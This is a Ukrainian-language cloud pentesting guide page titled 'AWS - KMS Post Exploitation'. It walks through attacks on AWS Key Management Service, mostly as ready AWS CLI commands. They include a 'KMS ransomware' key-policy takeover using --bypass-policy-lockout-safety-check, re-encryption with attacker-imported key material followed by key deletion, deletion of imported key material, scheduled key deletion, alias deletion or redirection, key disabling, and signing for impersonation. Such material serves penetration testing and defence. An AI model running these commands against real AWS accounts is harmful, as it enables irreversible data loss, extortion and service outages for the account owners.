# AWS - KMS Post Exploitation {{#include ../../../../banners/hacktricks-training.md}} ## KMS Для додаткової інформації див.: {{#ref}} ../../aws-services/aws-kms-enum.md {{#endref}} ### Encrypt/Decrypt information `fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files: - `fileb://:` Читає файл у двійковому режимі, зазвичай використовується для нетекстових файлів. - `file://:` Читає файл у текстовому режимі, зазвичай використовується для простих текстових файлів, скриптів або JSON, що не має спеціальних вимог кодування. > [!TIP] > Зверніть увагу, якщо ви хочете розшифрувати дані у файлі, файл має містити двійкові дані, а не base64-кодовані дані. (fileb://) - Using a **symmetric** key ```bash # Encrypt data aws kms encrypt \ --key-id f0d3d719-b054-49ec-b515-4095b4777049 \ --plaintext fileb:///tmp/hello.txt \ --output text \ --query CiphertextBlob | base64 \ --decode > ExampleEncryptedFile # Decrypt data aws kms decrypt \ --ciphertext-blob fileb://ExampleEncryptedFile \ --key-id f0d3d719-b054-49ec-b515-4095b4777049 \ --output text \ --query Plaintext | base64 \ --decode ``` - Використання **асиметричного** ключа: ```bash # Encrypt data aws kms encrypt \ --key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ --encryption-algorithm RSAES_OAEP_SHA_256 \ --plaintext fileb:///tmp/hello.txt \ --output text \ --query CiphertextBlob | base64 \ --decode > ExampleEncryptedFile # Decrypt data aws kms decrypt \ --ciphertext-blob fileb://ExampleEncryptedFile \ --encryption-algorithm RSAES_OAEP_SHA_256 \ --key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ --output text \ --query Plaintext | base64 \ --decode ``` ### KMS Ransomware Зловмисник із привілеями в KMS може змінити KMS policy ключів і **надати своєму обліковому запису доступ до них**, видаливши доступ, наданий легітимному обліковому запису. Внаслідок цього користувачі легітимного облікового запису не зможуть отримати доступ до жодної інформації будь-якого сервісу, зашифрованої цими ключами, створивши простий, але ефективний ransomware проти облікового запису. > [!WARNING] > Зверніть увагу, що **AWS managed keys aren't affected** цією атакою — уражаються лише **Customer managed keys**. > Також зауважте, що потрібно використовувати параметр **`--bypass-policy-lockout-safety-check`** (відсутність цієї опції в web console робить цю атаку можливою лише через CLI). ```bash # Force policy change aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ --policy-name default \ --policy file:///tmp/policy.yaml \ --bypass-policy-lockout-safety-check { "Id": "key-consolepolicy-3", "Version": "2012-10-17", "Statement": [ { "Sid": "Enable IAM User Permissions", "Effect": "Allow", "Principal": { "AWS": "arn:aws:iam:::root" }, "Action": "kms:*", "Resource": "*" } ] } ``` > [!CAUTION] > Зверніть увагу, що якщо ви зміните цю політику й дасте доступ лише зовнішньому акаунту, а потім із цього зовнішнього акаунта спробуєте встановити нову політику, щоб **повернути доступ до початкового акаунту, ви не зможете, оскільки дію Put Polocy неможливо виконати з cross account**.
### Generic KMS Ransomware Існує інший спосіб реалізації глобального KMS Ransomware, який включає такі кроки: - Створити новий **ключ із матеріалом ключа**, імпортованим атакуючим - **Перешифрувати старі дані** жертви, зашифровані попередньою версією, новою - **Видалити KMS key** - Тепер лише атакуючий, який має оригінальний матеріал ключа, зможе розшифрувати зашифровані дані ### Видалення ключів через kms:DeleteImportedKeyMaterial Маючи дозвіл `kms:DeleteImportedKeyMaterial`, діяч може видалити імпортований матеріал ключа з CMKs з `Origin=EXTERNAL` (CMKs, які імпортували свій матеріал ключа), роблячи їх нездатними розшифрувати дані. Ця дія є руйнівною та незворотною, якщо сумісний матеріал не буде повторно імпортовано, дозволяючи атакуючому фактично спричинити ransomware-like втрату даних, зробивши зашифровану інформацію постійно недоступною. ```bash aws kms delete-imported-key-material --key-id ``` ### Знищення ключів Знищення ключів може спричинити DoS. ```bash # Schedule the destoy of a key (min wait time is 7 days) aws kms schedule-key-deletion \ --key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \ --pending-window-in-days 7 ``` > [!CAUTION] > Зауважте, що AWS тепер **запобігає виконанню попередніх дій з іншого акаунту:** ### Змінити або видалити Alias Ця атака видаляє або перенаправляє AWS KMS aliases, порушуючи розв'язання ключа і спричиняючи негайні збої в сервісах, які покладаються на ці aliases, що призводить до відмови в обслуговуванні. Маючи дозволи на зразок `kms:DeleteAlias` або `kms:UpdateAlias`, зловмисник може видалити або перенаправити aliases і порушити криптографічні операції (наприклад, encrypt, describe). Будь-який сервіс, який посилається на alias замість key ID, може перестати працювати, поки alias не буде відновлено або правильно повторно зіставлено. ```bash # Delete Alias aws kms delete-alias --alias-name alias/ # Update Alias aws kms update-alias \ --alias-name alias/ \ --target-key-id ``` ### Cancel Key Deletion Маючи дозволи на кшталт `kms:CancelKeyDeletion` та `kms:EnableKey`, зловмисник може скасувати заплановане видалення AWS KMS customer master key і згодом знову його увімкнути. Це відновлює ключ (спочатку у Disabled стані) та повертає можливість розшифровувати раніше захищені дані, що дозволяє exfiltration. ```bash # Firts cancel de deletion aws kms cancel-key-deletion \ --key-id ## Second enable the key aws kms enable-key \ --key-id ``` ### Вимкнення ключа Маючи дозвіл `kms:DisableKey`, зловмисник може вимкнути AWS KMS customer master key, перешкоджаючи його використанню для encryption або decryption. Це порушує доступ для будь-яких сервісів, що залежать від цього CMK, і може спричинити негайні перебої або denial-of-service, доки ключ не буде знову увімкнено. ```bash aws kms disable-key \ --key-id ``` ### Derive Shared Secret Маючи дозвіл `kms:DeriveSharedSecret`, актор може використати приватний ключ, що зберігається в KMS, разом із наданим користувачем публічним ключем для обчислення спільної таємниці ECDH. ```bash aws kms derive-shared-secret \ --key-id \ --public-key fileb:/// \ --key-agreement-algorithm ``` ### Імперсонація через `kms:Sign` Маючи дозвіл `kms:Sign`, зловмисник може використати збережений у KMS CMK для криптографічного підпису даних без розкриття приватного ключа, створюючи дійсні підписи, що можуть дозволити імперсонацію або авторизувати шкідливі дії. ```bash aws kms sign \ --key-id \ --message fileb:// \ --signing-algorithm \ --message-type RAW ``` ### DoS with Custom Key Stores Маючи дозволи на кшталт `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore` або `kms:UpdateCustomKeyStore`, зловмисник може змінити, відключити або видалити AWS KMS Custom Key Store (CKS), зробивши його основні ключі непрацездатними. Це порушує операції шифрування, дешифрування та підписування для будь-яких сервісів, які покладаються на ці ключі, і може спричинити негайний denial-of-service. Отже, критично важливо обмежувати та моніторити ці дозволи. ```bash aws kms delete-custom-key-store --custom-key-store-id aws kms disconnect-custom-key-store --custom-key-store-id aws kms update-custom-key-store --custom-key-store-id --new-custom-key-store-name --key-store-password ```
{{#include ../../../../banners/hacktricks-training.md}}